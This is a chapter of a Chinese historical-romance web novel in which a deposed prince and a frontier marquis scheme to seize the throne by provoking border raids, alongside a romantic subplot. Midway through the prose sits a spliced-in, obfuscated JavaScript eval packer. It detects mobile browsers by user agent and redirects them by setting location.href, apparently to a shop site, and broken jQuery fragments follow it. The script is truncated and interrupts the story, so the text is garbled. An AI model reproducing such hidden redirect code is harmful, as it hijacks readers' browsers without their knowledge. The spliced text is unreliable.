卫峥心虚地别开脸,不敢跟她对视。
“我是你奶……”乐弗哑着声儿,艰难地一字一句回骂。
16. 夺位
卫峥本就理亏,闻言也只是嘟囔一句“瞎胡吣”,视线随即落到宗钦身上。
此人肩背极宽,筋骨虬结,透着常年习武的悍劲,尤其那双手——
骨节嶙峋,掌根宽厚,指腹一层硬茧,方才还差点儿要了他的命,此刻却反常地轻柔,正沾着一坨膏子,往小外甥女颈侧抹。
看着看着,卫峥就咂么出不对了。
谁家膏子是这么个涂法?
这小子神色倒是正经,垂眸敛目,可那指腹却借着药膏的滑腻,慢条斯理地摩挲着掌下的皮肉,来回反复,极尽狎昵。
小外甥女浑然不觉,呆头鹅似的扬着下巴,把脖子交给他,只当寻常上药。
这像话吗!
卫峥略皱眉,突然记起这丫头是有婚约在身的。
“对了,你那未婚夫呢?”
“京,城,殿……”
“行了行了快别出声了。”他这才想起人家嗓子坏了,赶紧打断。
膏子终于擦完,宗钦只当没看见头顶那道怒视,取过布巾,不紧不慢地擦去指缝间的残留。
“殿下?”中堂传来宗传辉的声音。
卫峥只好不情不愿地出去,帘子一晃,里间只剩两人。
乐弗还是难受的,除了声音嘶哑,每次呼吸喉管也跟发紧,稍一偏头,整条脖颈抻着疼。
哪哪都不痛快。
她有些埋怨地瞪了宗钦一眼,心想你怎么不等我被掐死了再来?慢脚驴!
“我的错。”
乐弗也不在意他是怎么看懂的,随手比划两下,示意他去喊藤梨。
“她被卫峥打晕了。”宗钦面不改色地胡编,又拿过来一块干净布巾,自然地扣住她的脚踝,慢慢擦去上头的浮尘。
乐弗当即不耐,脚踝一用力,略带嫌弃地蹬开他手背,又指指他的靴子:“脱。”
宗钦被她这幅不用人朝后的模样逗笑了,嘴角挑起。
最后乐弗套着一双大得离谱的靴子,晃晃荡荡来到中堂,对着上首敷衍地一福,扭头就走。
一步一拖沓,肥鹅似的,身后还跟着个赶鹅人。
卫峥正要叫住宗钦,却被宗传辉急忙拉了回来。
“广宁侯,你可真是养了个好儿子啊。”
他话里有话,宗传辉只当听不懂,打个哈哈:“殿下过誉了。”
“行了,我也不与你兜圈子。”卫峥往椅背上一靠,“就问你一句,帮,还是不帮?”
宗传辉心里转了个弯儿。
先帝对他有知遇之恩不假,可他镇守辽东十几年,功劳也足以相抵了。如今这位爷一穷二白,身边就一个小内侍,张口就要夺位,是不是太……
“侯爷,别装糊涂啊。”卫峥无赖似的,“万一哪天我走投无路,嘴一松,在外头随口说几句,我弟弟那人你也知道,最是多疑……你到时能跑得了?”
宗传辉当即发出一声不屑嗤笑,脸上那点敷衍的客套彻底没了,神情坦荡锐利:“我要是怕他那点猜忌,方才何必拦下那一刀?倒不如让你死在我儿手里,一了百了。”
“那不就结了!”卫峥一拍大腿坐直身子,“你不怕,我也不怕,咱们拧成一股绳,干脆一起弄他!”
“弄是能弄……”宗传辉嘴上敷衍,心里仍在拨动算盘。
他不是那种被人三两句一撩就热血上头的愣头青。要反,要扶新君,他可以打头阵,但不能让宗家独自扛下所有风险。
“不过就咱俩,剃头挑子一头热,也成不了事啊,何况你连个起兵的名头都没有。”
卫峥张了张嘴。
他想说怎么没有名头?卫嵘生父不详,压根就不姓卫,只要把这话抖落出去,天下哗然,也许都不用他动手。
可话到嘴边,他却总能想起那个比他矮半截的小子,亦步亦趋跟在他身后,一口一个“大哥”地喊。
再狠的心肠,到这儿也软了半截。
他可以用任何理由起兵,唯独不能是这个。
“你放心。”卫峥将心口的苦涩压下,“京里的徐仰光是自己人。”
“秀才造反,十年不成。”宗传辉摇摇头,“文官篡位,更是自古未有,天下从来是兵强马壮者为之,就凭那群皇帝家奴?嗤……”
卫嵘登基后杀得人头滚滚,那帮文官有人敢放一个响屁吗?
“我且不说徐仰光本人如何,你原先的人早已死伤殆尽,他就算有心帮你,也是孤掌难鸣。何况如今卫嵘任人唯亲,朝中官员即便不亲近他,也未必肯听徐仰光的撺掇。”
宗传辉年轻时,可没少受这帮文官的气。当年他在京营掌着重兵,便被那群人变着法子弹劾攻讦,后来竟有缺德的造谣,满城都传——
说什么广宁侯府的狗,头上生了龙角。
他心知再留在京城,早晚被这群人整死,干脆自请外放来了辽东。所以现在卫峥一提文官,他打心眼儿里抵触。
让那帮人造反?指望他们,还不如指望大门口那对儿石狮子!
“卫嵘为什么杀那么多人?还不是怕那帮文官说他得位不正么……杀鸡儆猴罢了。”卫峥没个正形地斜倚着,抓起碟中糕饼只管往嘴里塞,狼吞虎咽,半点看不出这人曾是那个风姿端雅的太子殿下。
“姓徐的是左都御史,台谏之首,将来只要他带头开口,剩下的言官就敢跟着出声,说他卫嵘戕害忠良,来路不正。那地方藩王,前朝旧将,便可群起而讨,人人得而诛之。”
他的腮帮子一鼓一鼓的,话说得含糊却字字锋利:“所以徐仰光造不造反不重要,有没有他才重要。有他,咱们是王师;没他,咱们就是反贼。”
“王师?”宗传辉乐了,把茶碗往桌上一搁,“殿下,丑话说在前头,我手底下的兵可干不了造反的勾当。”
“为啥?”卫峥愣愣吐出这俩字,嘴里的糕饼渣子险些喷到对面人脸上。
宗传辉侧身躲过,顺手把茶壶推过去:“我辽东将士的刀枪向来指着鞑子,从不朝自己人挥。真要我们起兵打到京城,那叫同室操戈,弟兄们过不去心里那道坎。”
一听这个卫峥立马急了,抄起茶壶灌下一大口,才把嘴里的糕饼渣滓顺下去:“什么同室操戈!这叫拨乱反正!”
“是呀。”宗传辉换了副老狐狸神色,“兀良哈那帮人最欠拨了,那才是天生的反贼。”
“兀良哈?”卫峥愣在那儿,眼珠子慢慢转悠上了。
宗传辉起身走到中堂墙上挂的舆图前,往上一指:“兀良哈这些年在喜峰口外头放马,靠什么活着,还不是互市?互市一关,他们拿什么换铁锅,布帛?”
他转过身,笑得跟个没事人似的:“到时熬不住了,就要南下劫掠,喜峰口外就是蓟镇。”
卫峥眼睛亮了:“蓟镇一告急,朝廷就得派兵北上!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341563|199357||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“对喽。”宗传辉走回桌边坐下,手指蘸着茶水在小几上画,“蓟镇吃紧,京城就得调兵。宣府、大同的兵太远,远水不解近渴,多半是从京师三大营里抽。三大营一抽,京城就空了。”
想通这一层,卫峥笑得爽朗极了,大腿拍得啪啪响:“兀良哈闹事,边关告急,我为先帝嫡子,闻讯寝食难安,提兵入关,护卫社稷……这话说出去,谁还挑得出毛病?”
可转念一想,卫峥又皱起眉头:“可兀良哈要是不闹那么大呢?万一他们只在喜峰口外头转悠,朝廷不调京营,那咱们怎么进京?”
“喜峰口那边可以松松嘛。”
卫峥眨眨眼,倒不惊讶,身子往椅背上一靠,慢悠悠地说:“你是说……放他们进来?”
“话可不能这么说。”宗传辉摆摆手,“咱辽东兵少,顾不过来,鞑子钻了空子,那也是没办法的事。至于他们钻进来之后往哪儿去……腿长他们身上,咱管不着。”
卫峥盯着他看了半天,忽然乐了:“广宁侯,你这脑子是怎么长的?”
“殿下过奖。”宗传辉端起茶碗,慢慢吹了口茶末子,“在辽东跟鞑子打了这些年交道,别的不行,揣摩他们那点儿心思,还算在行。”
其实还有半句话,他咽下去没说——实在是被这帮人折腾烦了。
每年,他们专挑秋高马肥的时候过来劫掠,赶跑了兀良哈,女真又冒头了。女真老实了,鞑靼又来了,一年到头防不完的贼,军情一到,披衣就走。辽东一戒严,全境跟着紧张,粮草要调,墩台要修,兵士要巡……哪样不得他操心?
早就想打他们一顿了。
打狠点,打疼点,打得他们三年不敢往南看。
“话说回来,京城里还是得有人接应。”卫峥身子往前探了半尺,“兵临城下时总得有人开门,有人吗?”
“殿下可还记得武安伯?”
“古为先?”卫峥想了想,“父亲当年清君侧时的燕云骑统领,我记得。”
“正是。”宗传辉点点头,“他现在被卫嵘明升暗降了,明面上是都督佥事,实际上手里就管着个朝阳门。前阵子上书劝谏,还被卫嵘当众羞辱了一顿。”
外头一声更漏传来,已是亥时初刻了。
烛火晃了晃,卫峥的侧脸在光影里忽明忽暗。他沉默片刻,再开口时声音里带着按捺不住的兴奋:“那咱们什么时候动手?”
“早得很,最快也得三年成事。”宗传辉起身推开门,侧身让了让,“殿下先回去歇着,明儿个咱们再细说。”
卫峥兴冲冲地迈出门槛,走了两步,忽然停住脚。
宗传辉正要关门,见他回头,手顿在半空:“殿下?”
卫峥没说话。
“殿下有话不妨直说。”
“你儿子——”卫峥顿了顿,抬手往自己脖子上比划了两下,“倒是挺会照顾人的。”
宗传辉看着他这副护犊子的模样,终于没忍住,嘴角往上翘了翘。
“笑什么?那丫头可是定过亲的!”
“知道。”宗传辉点点头,表情看不出什么波澜,“退了不就得了。”
卫峥被他噎得张了张嘴。
“寡廉鲜耻!”憋了半天,就憋出这四个字。
对卫峥这个读书人来说,这已是逼到墙角时能掏出来的最狠的家伙了。骂完了,自觉还算体面,袖子狠狠一甩,大步流星走了。